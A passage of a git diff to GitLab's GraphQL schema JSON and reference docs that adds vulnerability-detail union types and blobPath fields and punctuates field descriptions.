"description": "Description of the vulnerability", + "description": "Description of the vulnerability.", "args": [ ], @@ -76771,8 +80422,34 @@ "deprecationReason": null }, { + "name": "details", + "description": "Details of the vulnerability.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "UNION", + "name": "VulnerabilityDetail", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "detectedAt", - "description": "Timestamp of when the vulnerability was first detected", + "description": "Timestamp of when the vulnerability was first detected.", "args": [ ], @@ -76790,7 +80467,7 @@ }, { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -76847,7 +80524,7 @@ }, { "name": "dismissedAt", - "description": "Timestamp of when the vulnerability state was changed to dismissed", + "description": "Timestamp of when the vulnerability state was changed to dismissed.", "args": [ ], @@ -76875,7 +80552,7 @@ }, { "name": "externalIssueLinks", - "description": "List of external issue links related to the vulnerability", + "description": "List of external issue links related to the vulnerability.", "args": [ { "name": "after", @@ -76946,7 +80623,7 @@ }, { "name": "id", - "description": "GraphQL ID of the vulnerability", + "description": "GraphQL ID of the vulnerability.", "args": [ ], @@ -76990,7 +80667,7 @@ }, { "name": "issueLinks", - "description": "List of issue links related to the vulnerability", + "description": "List of issue links related to the vulnerability.", "args": [ { "name": "linkType", @@ -77057,7 +80734,7 @@ }, { "name": "location", - "description": "Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability", + "description": "Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability.", "args": [ ], @@ -77085,7 +80762,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -77156,7 +80833,7 @@ }, { "name": "project", - "description": "The project on which the vulnerability was found", + "description": "The project on which the vulnerability was found.", "args": [ ], @@ -77184,7 +80861,7 @@ }, { "name": "resolvedAt", - "description": "Timestamp of when the vulnerability state was changed to resolved", + "description": "Timestamp of when the vulnerability state was changed to resolved.", "args": [ ], @@ -77212,7 +80889,7 @@ }, { "name": "resolvedOnDefaultBranch", - "description": "Indicates whether the vulnerability is fixed on the default branch or not", + "description": "Indicates whether the vulnerability is fixed on the default branch or not.", "args": [ ], @@ -77272,7 +80949,7 @@ }, { "name": "title", - "description": "Title of the vulnerability", + "description": "Title of the vulnerability.", "args": [ ], @@ -77286,7 +80963,7 @@ }, { "name": "userNotesCount", - "description": "Number of user notes attached to the vulnerability", + "description": "Number of user notes attached to the vulnerability.", "args": [ ], @@ -77322,7 +80999,7 @@ }, { "name": "vulnerabilityPath", - "description": "URL to the vulnerability's details page", + "description": "URL to the vulnerability's details page.", "args": [ ], @@ -77516,6 +81193,1259 @@ "possibleTypes": null }, { + "kind": "UNION", + "name": "VulnerabilityDetail", + "description": "Represents a vulnerability detail field. The fields with data will depend on the vulnerability detail type", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": [ + { + "kind": "OBJECT", + "name": "VulnerabilityDetailBase", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailBoolean", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailCode", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailCommit", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailDiff", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailFileLocation", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailInt", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailList", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailMarkdown", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailModuleLocation", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailTable", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailText", + "ofType": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailUrl", + "ofType": null + } + ] + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailBase", + "description": "Represents the vulnerability details base", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailBoolean", + "description": "Represents the vulnerability details boolean value", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "value", + "description": "Value of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailCode", + "description": "Represents the vulnerability details code field", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "lang", + "description": "Language of the code.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "value", + "description": "Source code.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailCommit", + "description": "Represents the vulnerability details commit field", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "value", + "description": "The commit SHA value.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailDiff", + "description": "Represents the vulnerability details diff field", + "fields": [ + { + "name": "after", + "description": "Value of the field after the change.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "before", + "description": "Value of the field before the change.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailFileLocation", + "description": "Represents the vulnerability details location within a file in the project", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fileName", + "description": "File name.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "lineEnd", + "description": "End line number of the file location.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "lineStart", + "description": "Start line number of the file location.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailInt", + "description": "Represents the vulnerability details integer value", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "value", + "description": "Value of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailList", + "description": "Represents the vulnerability details list value", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "items", + "description": "List of details.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "UNION", + "name": "VulnerabilityDetail", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailMarkdown", + "description": "Represents the vulnerability details Markdown field", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "value", + "description": "Value of the Markdown field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailModuleLocation", + "description": "Represents the vulnerability details location within a file in the project", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "moduleName", + "description": "Module name.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "offset", + "description": "Offset of the module location.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailTable", + "description": "Represents the vulnerability details table value", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "headers", + "description": "Table headers.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "UNION", + "name": "VulnerabilityDetail", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "rows", + "description": "Table rows.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "UNION", + "name": "VulnerabilityDetail", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailText", + "description": "Represents the vulnerability details text field", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "value", + "description": "Value of the text field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityDetailUrl", + "description": "Represents the vulnerability details URL field", + "fields": [ + { + "name": "description", + "description": "Description of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fieldName", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "href", + "description": "Href of the URL.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the field.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "text", + "description": "Text of the URL.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "VulnerabilityDismissInput", "description": "Autogenerated input type of VulnerabilityDismiss", @@ -77730,7 +82660,7 @@ "fields": [ { "name": "externalIssue", - "description": "The external issue attached to the issue link", + "description": "The external issue attached to the issue link.", "args": [ ], @@ -77744,7 +82674,7 @@ }, { "name": "id", - "description": "GraphQL ID of the external issue link", + "description": "GraphQL ID of the external issue link.", "args": [ ], @@ -77762,7 +82692,7 @@ }, { "name": "linkType", - "description": "Type of the external issue link", + "description": "Type of the external issue link.", "args": [ ], @@ -78194,7 +83124,7 @@ { "kind": "SCALAR", "name": "VulnerabilityID", - "description": "Identifier of Vulnerability", + "description": "Identifier of Vulnerability.", "fields": null, "inputFields": null, "interfaces": null, @@ -78208,7 +83138,7 @@ "fields": [ { "name": "externalId", - "description": "External ID of the vulnerability identifier", + "description": "External ID of the vulnerability identifier.", "args": [ ], @@ -78222,7 +83152,7 @@ }, { "name": "externalType", - "description": "External type of the vulnerability identifier", + "description": "External type of the vulnerability identifier.", "args": [ ], @@ -78236,7 +83166,7 @@ }, { "name": "name", - "description": "Name of the vulnerability identifier", + "description": "Name of the vulnerability identifier.", "args": [ ], @@ -78250,7 +83180,7 @@ }, { "name": "url", - "description": "URL of the vulnerability identifier", + "description": "URL of the vulnerability identifier.", "args": [ ], @@ -78277,7 +83207,7 @@ "fields": [ { "name": "id", - "description": "GraphQL ID of the vulnerability", + "description": "GraphQL ID of the vulnerability.", "args": [ ], @@ -78295,7 +83225,7 @@ }, { "name": "issue", - "description": "The issue attached to issue link", + "description": "The issue attached to issue link.", "args": [ ], @@ -78313,7 +83243,7 @@ }, { "name": "linkType", - "description": "Type of the issue link", + "description": "Type of the issue link.", "args": [ ], @@ -78520,7 +83450,7 @@ "fields": [ { "name": "dependency", - "description": "Dependency containing the vulnerability", + "description": "Dependency containing the vulnerability.", "args": [ ], @@ -78534,7 +83464,7 @@ }, { "name": "image", - "description": "Name of the vulnerable container image", + "description": "Name of the vulnerable container image.", "args": [ ], @@ -78548,7 +83478,7 @@ }, { "name": "operatingSystem", - "description": "Operating system that runs on the vulnerable container image", + "description": "Operating system that runs on the vulnerable container image.", "args": [ ], @@ -78574,8 +83504,22 @@ "description": "Represents the location of a vulnerability found by a Coverage Fuzzing scan", "fields": [ { + "name": "blobPath", + "description": "Blob path to the vulnerable file.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "endLine", - "description": "Number of the last relevant line in the vulnerable file", + "description": "Number of the last relevant line in the vulnerable file.", "args": [ ], @@ -78589,7 +83533,7 @@ }, { "name": "file", - "description": "Path to the vulnerable file", + "description": "Path to the vulnerable file.", "args": [ ], @@ -78603,7 +83547,7 @@ }, { "name": "startLine", - "description": "Number of the first relevant line in the vulnerable file", + "description": "Number of the first relevant line in the vulnerable file.", "args": [ ], @@ -78617,7 +83561,7 @@ }, { "name": "vulnerableClass", - "description": "Class containing the vulnerability", + "description": "Class containing the vulnerability.", "args": [ ], @@ -78631,7 +83575,7 @@ }, { "name": "vulnerableMethod", - "description": "Method containing the vulnerability", + "description": "Method containing the vulnerability.", "args": [ ], @@ -78658,7 +83602,7 @@ "fields": [ { "name": "hostname", - "description": "Domain name of the vulnerable request", + "description": "Domain name of the vulnerable request.", "args": [ ], @@ -78672,7 +83616,7 @@ }, { "name": "param", - "description": "Query parameter for the URL on which the vulnerability occurred", + "description": "Query parameter for the URL on which the vulnerability occurred.", "args": [ ], @@ -78686,7 +83630,7 @@ }, { "name": "path", - "description": "URL path and query string of the vulnerable request", + "description": "URL path and query string of the vulnerable request.", "args": [ ], @@ -78700,7 +83644,7 @@ }, { "name": "requestMethod", - "description": "HTTP method of the vulnerable request", + "description": "HTTP method of the vulnerable request.", "args": [ ], @@ -78726,8 +83670,22 @@ "description": "Represents the location of a vulnerability found by a dependency security scan", "fields": [ { + "name": "blobPath", + "description": "Blob path to the vulnerable file.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "dependency", - "description": "Dependency containing the vulnerability", + "description": "Dependency containing the vulnerability.", "args": [ ], @@ -78741,7 +83699,7 @@ }, { "name": "file", - "description": "Path to the vulnerable file", + "description": "Path to the vulnerable file.", "args": [ ], @@ -78767,8 +83725,22 @@ "description": "Represents the location of a vulnerability found by a SAST scan", "fields": [ { + "name": "blobPath", + "description": "Blob path to the vulnerable file.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "endLine", - "description": "Number of the last relevant line in the vulnerable file", + "description": "Number of the last relevant line in the vulnerable file.", "args": [ ], @@ -78782,7 +83754,7 @@ }, { "name": "file", - "description": "Path to the vulnerable file", + "description": "Path to the vulnerable file.", "args": [ ], @@ -78796,7 +83768,7 @@ }, { "name": "startLine", - "description": "Number of the first relevant line in the vulnerable file", + "description": "Number of the first relevant line in the vulnerable file.", "args": [ ], @@ -78810,7 +83782,7 @@ }, { "name": "vulnerableClass", - "description": "Class containing the vulnerability", + "description": "Class containing the vulnerability.", "args": [ ], @@ -78824,7 +83796,7 @@ }, { "name": "vulnerableMethod", - "description": "Method containing the vulnerability", + "description": "Method containing the vulnerability.", "args": [ ], @@ -78850,8 +83822,22 @@ "description": "Represents the location of a vulnerability found by a secret detection scan", "fields": [ { + "name": "blobPath", + "description": "Blob path to the vulnerable file.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "endLine", - "description": "Number of the last relevant line in the vulnerable file", + "description": "Number of the last relevant line in the vulnerable file.", "args": [ ], @@ -78865,7 +83851,7 @@ }, { "name": "file", - "description": "Path to the vulnerable file", + "description": "Path to the vulnerable file.", "args": [ ], @@ -78879,7 +83865,7 @@ }, { "name": "startLine", - "description": "Number of the first relevant line in the vulnerable file", + "description": "Number of the first relevant line in the vulnerable file.", "args": [ ], @@ -78893,7 +83879,7 @@ }, { "name": "vulnerableClass", - "description": "Class containing the vulnerability", + "description": "Class containing the vulnerability.", "args": [ ], @@ -78907,7 +83893,7 @@ }, { "name": "vulnerableMethod", - "description": "Method containing the vulnerability", + "description": "Method containing the vulnerability.", "args": [ ], @@ -79366,7 +84352,7 @@ "fields": [ { "name": "externalId", - "description": "External ID of the vulnerability scanner", + "description": "External ID of the vulnerability scanner.", "args": [ ], @@ -79380,7 +84366,7 @@ }, { "name": "name", - "description": "Name of the vulnerability scanner", + "description": "Name of the vulnerability scanner.", "args": [ ], @@ -79394,7 +84380,7 @@ }, { "name": "reportType", - "description": "Type of the vulnerability report", + "description": "Type of the vulnerability report.", "args": [ ], @@ -79408,7 +84394,7 @@ }, { "name": "vendor", - "description": "Vendor of the vulnerability scanner", + "description": "Vendor of the vulnerability scanner.", "args": [ ], @@ -79797,7 +84783,7 @@ "fields": [ { "name": "package", - "description": "The package associated with the vulnerable dependency", + "description": "The package associated with the vulnerable dependency.", "args": [ ], @@ -79811,7 +84797,7 @@ }, { "name": "version", - "description": "The version of the vulnerable dependency", + "description": "The version of the vulnerable dependency.", "args": [ ], @@ -79838,7 +84824,7 @@ "fields": [ { "name": "name", - "description": "The name of the vulnerable package", + "description": "The name of the vulnerable package.", "args": [ ], @@ -79865,7 +84851,7 @@ "fields": [ { "name": "count", - "description": "Number of projects within this grade", + "description": "Number of projects within this grade.", "args": [ ], @@ -79883,7 +84869,7 @@ }, { "name": "grade", - "description": "Grade based on the highest severity vulnerability present", + "description": "Grade based on the highest severity vulnerability present.", "args": [ ], @@ -79901,7 +84887,7 @@ }, { "name": "projects", - "description": "Projects within this grade", + "description": "Projects within this grade.", "args": [ { "name": "after", diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md index c098de16ef6..f49a12568ed 100644 --- a/doc/api/graphql/reference/index.md +++ b/doc/api/graphql/reference/index.md @@ -24,6 +24,8 @@ Fields that are deprecated are marked with **{warning-solid}**. Items (fields, enums, etc) that have been removed according to our [deprecation process](../index.md#deprecation-process) can be found in [Removed Items](../removed_items.md). +<!-- vale gitlab.Spelling = NO --> + ## Object types Object types represent the resources that the GitLab GraphQL API can return. @@ -41,8 +43,8 @@ Represents the access level of a relationship between a User and object that it | Field | Type | Description | | ----- | ---- | ----------- | -| `integerValue` | Int | Integer representation of access level | -| `stringValue` | AccessLevelEnum | String representation of access level | +| `integerValue` | Int | Integer representation of access level. | +| `stringValue` | AccessLevelEnum | String representation of access level. | ### AddAwardEmojiPayload @@ -80,30 +82,30 @@ Describes an alert from the project's Alert Management. | Field | Type | Description | | ----- | ---- | ----------- | -| `assignees` | UserConnection | Assignees of the alert | -| `createdAt` | Time | Timestamp the alert was created | -| `description` | String | Description of the alert | -| `details` | JSON | Alert details | -| `detailsUrl` | String! | The URL of the alert detail page | -| `discussions` | DiscussionConnection! | All discussions on this noteable | -| `endedAt` | Time | Timestamp the alert ended | -| `environment` | Environment | Environment for the alert | -| `eventCount` | Int | Number of events of this alert | -| `hosts` | String! => Array | List of hosts the alert came from | -| `iid` | ID! | Internal ID of the alert | -| `issueIid` | ID | Internal ID of the GitLab issue attached to the alert | -| `metricsDashboardUrl` | String | URL for metrics embed for the alert | -| `monitoringTool` | String | Monitoring tool the alert came from | -| `notes` | NoteConnection! | All notes on this noteable | -| `prometheusAlert` | PrometheusAlert | The alert condition for Prometheus | -| `runbook` | String | Runbook for the alert as defined in alert details | -| `service` | String | Service the alert came from | -| `severity` | AlertManagementSeverity | Severity of the alert | -| `startedAt` | Time | Timestamp the alert was raised | 